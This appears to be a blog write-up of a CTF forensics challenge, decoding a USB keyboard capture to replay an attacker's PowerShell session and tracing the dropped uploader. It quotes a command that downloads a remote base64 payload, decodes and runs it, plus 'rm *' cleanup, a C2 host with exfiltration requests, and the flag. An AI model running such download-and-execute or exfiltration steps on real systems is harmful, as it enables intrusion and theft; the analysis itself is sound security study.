· 4 min read · by Eav Puthcambo
Reading an attacker's keystrokes off a USB cable
Two "logs" from a breached garage turn out to be packet captures. One is a USB keyboard. Decoding it replays the attacker's whole PowerShell session, password included.
"We're an automotive security startup. Last night, our garage was breached... We managed to capture some logs via our first-ever agent. Can you analyze them and find out what was taken?" What did you type, Crackmes.one Reverse Engineering CTF 2026 (forensics)
The handout had two files: a big zip of "logs" and a text file called PbWE.txt full of base64. The challenge name was the best hint I got all day.
The logs aren't logs
Inside chall.zip were two members, monitor_hardware (116 MB) and monitor_network (75 KB). Text logs? Not quite:
$ xxd monitor_hardware | head -1
00000000: d4c3 b2a1 0200 0400 0000 0000 0000 0000 ................
d4 c3 b2 a1 is the libpcap magic. Bytes 20–24 of the header hold the link-layer type:
monitor_hardware -> linktype 249 (USBPcap, a Windows USB capture)
monitor_network -> linktype 1 (Ethernet)
A USB capture, in a challenge called "What did you type". That's a keyboard.
How a USB keyboard talks
A boot-protocol keyboard sends an 8-byte HID report on an interrupt IN endpoint every time its state changes:
[ modifier ][ reserved ][ key1 ][ key2 ][ key3 ][ key4 ][ key5 ][ key6 ]
The modifier byte carries Shift (0x02 left, 0x20 right), and key1..key6 are HID usage IDs for whatever is held down. To get text back, you:
- walk the USBPcap records and keep only interrupt IN transfers with 8-byte payloads
- track which keys are pressed in each report
- emit a character only on a key-down transition, meaning a key that's in this report but wasn't in the previous one
- map the usage ID through the HID table, applying Shift
I wrote that as a small stdlib-only Python script. Out of 61,760 packets, 449 were keyboard reports:
powersh
ls
cd Docu
ls
c[BKSP][][50]IO.File[4f]::WriteAll ""[50]$pwd\sus.zip[4f], [][50]Convert[4f]::FromBase64St (irm ''[50]https://0x0.st/PbWE.txt[4f])))
ls
unzip
unzip -P 1m_g0d_!! sus.z -d out
mv out\* .
./modu
rm *
exit
Replaying the session
The raw output is messy because it records exactly what the fingers did. \t is Tab (shell autocompletion), [50] is Left Arrow and [4f] is Right Arrow: the attacker typed closing brackets and quotes first, then arrowed back inside them. Following the cursor around rebuilds the real session:
powershell
ls
cd Documents
ls
[IO.File]::WriteAllBytes("$pwd\sus.zip", [Convert]::FromBase64String((irm 'https://0x0.st/PbWE.txt')))
ls
unzip
unzip -P 1m_g0d_!! sus.zip -d out
mv out\* .
./module.exe
rm *
exit
So the attacker pulled PbWE.txt from a paste host, base64-decoded it into sus.zip, unzipped it with the password 1m_g0d_!!, ran what came out, and wiped the folder on the way out.
And PbWE.txt is the same file we were handed.
Opening the dropper
PbWE.txt decodes to a zip (UEsDBBQ… is base64 for PK\x03\x04) holding one encrypted entry, module.exe. The typed password opens it:
$ base64 -d PbWE.txt > PbWE.zip
$ python -c "import zipfile; zipfile.ZipFile('PbWE.zip').extractall('m', pwd=b'1m_g0d_!!')"
If you'd missed the keylog, there's a backup route. The zip uses legacy ZipCrypto, which falls to a known-plaintext attack, and the plaintext is a Windows PE with a predictable MZ header and DOS stub. bkcrack can recover the keys without the password.
What was taken
module.exe is a small native uploader built on WININET. Its strings give away the C2 host, for-ultramar.com, and a custom User-Agent, Inquisition.
The second capture, monitor_network, shows it in action:
GET / HTTP/1.1
User-Agent: Inquisition
Host: for-ultramar.com:9999
POST /upload HTTP/1.1
User-Agent: Inquisition
Content-Length: 15
Cool_Story.docx
POST /upload HTTP/1.1
Content-Length: 20548
<20 KB of high-entropy data>
HTTP/1.1 200 OK ... You good bro !!
It announces the filename, Cool_Story.docx, then uploads the document encrypted. The receiving end is a small Flask server (Werkzeug/3.1.5 Python/3.12.3).
That answers the challenge question: the stolen file is Cool_Story.docx, and the flag is its contents:
CMO{Dumb357_P3r50n_1n_7h3_M1lky_W4y_!!!}
The whole story
- The attacker opens PowerShell and goes to
Documents. - They download
PbWE.txtfrom0x0.stand decode it tosus.zip. - They unzip it with
1m_g0d_!!and runmodule.exe. - The "Inquisition" agent grabs
Cool_Story.docx, encrypts it, and POSTs it tofor-ultramar.com:9999/upload. - They
rm *andexit.
The cleanup didn't help, because the startup's monitoring agent had recorded every key they pressed.
📂 Full writeup with decode_hid.py, solve.py and the IOCs: ctf-writeups/forensics/…/what_did_you_type
Read more 
A Python program hidden inside itself, many times over
An obfuscated Python challenge decrypts a layer, runs it, and repeats, with anti-debug that silently corrupts the key if it sees you. The weak spot is the one library it forgot to protect.
An IDOR bug hidden inside a Roblox game
A CTF challenge built on top of Roblox hands you a toy "memory" API with a read-protected flag. The write function never checks what you're allowed to touch, so you just turn the protection off.
Beating the final bosses of a 12-level crackme series
The last two levels of Lack's Windows crackme series add anti-debug tricks, a jump-table VM, and a 152-part license key. All of it falls to reading the code instead of running it.